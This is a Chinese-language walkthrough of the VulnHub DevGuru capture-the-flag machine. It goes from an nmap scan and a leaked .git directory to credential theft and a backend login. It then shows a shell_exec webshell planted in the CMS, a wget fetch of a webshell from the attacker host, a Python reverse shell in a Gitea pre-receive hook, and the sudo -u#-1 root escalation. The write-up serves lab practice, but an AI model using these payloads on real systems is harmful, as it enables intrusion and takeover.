虚拟机下载地址:https://www.vulnhub.com/entry/devguru-1,620/
虚拟机简介:您的任务是在他们的公司网站上查找漏洞并获取root权限
目标:1个flag
级别:中级
arp-scan 192.168.207.0/24
nmap -A -sS -sV -v -p- 192.168.207.144
查看开放22、80、8585端口
根据NMAP扫描结果,显示80端口存在git信息泄露,并且获取到站点域名为devguru.local
使用git泄露工具进行利用,链接地址https://github.com/internetwache/GitTools
git clone https://github.com/internetwache/GitTools.git
cd Dumper
mkdir website
./gitdumper.sh http://192.168.207.144/.git/ ./website
查看下载的TXT文件获取到账号和密码信息
cd GitTools/Extractor
./extractor.sh ../Dumper/website ./web
查看存在adminer.php页面
cd web/0-7de9115700c5656c670b34987c6fbffd39d90cf2
ls
在本地config目录中发现数据库的账号和密码信息
基于上面内容可以成功登录数据库后台
选择数据库账号信息,获取到账号frank的密码信息
查看密码加密方式,通过站点进行确认https://www.tunnelsup.com/hash-analyzer/
使用在线生成密码,https://www.devglan.com/online-tools/bcrypt-hash-generator
把生成的密码替换密码字段
使用如下URL成功登录,http://192.168.207.144/backend/
登录成功后站点信息如下
在控制台面板中添加命令执行参数
function onStart()
{
$this->page["myVar"] = shell_exec($_GET['cmd']);
}
选择Markup中添加新的方法并保存
访问站点进行测试,查看网页源代码
http://192.168.207.144/shell?cmd=ls%20-la
在kali中开启http服务
python -m http.server 8080
通过命令执行方式下载远端webshell木马文件
http://192.168.207.144/shell?cmd=wget http://192.168.207.130:8080/shell.php
使用NC进行监听并访问webshell
http://192.168.207.144/shell.php
在/var/backups/中发现有一个备份的配置文件
在服务字段中发现备份文件在8585端口的配置服务
在配置文件中发现另外一个mysql的账号和密码信息
通过获取到的账号成功登录新的数据库中,并发现同时存在frank账号
重新修改frank账号密码,并修改密码加密方式为bcrypt
通过修改后的密码成功登录该服务
选择仓库地址
选择设置--Git Hooks---Pre-receive
写入反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.207.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
选择README.md文件进行随意修改并进行提交
成功获取到反弹shell连接
cat /home/frank/user.txt
sudo -l
sudo -V
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
cat /root/root.txt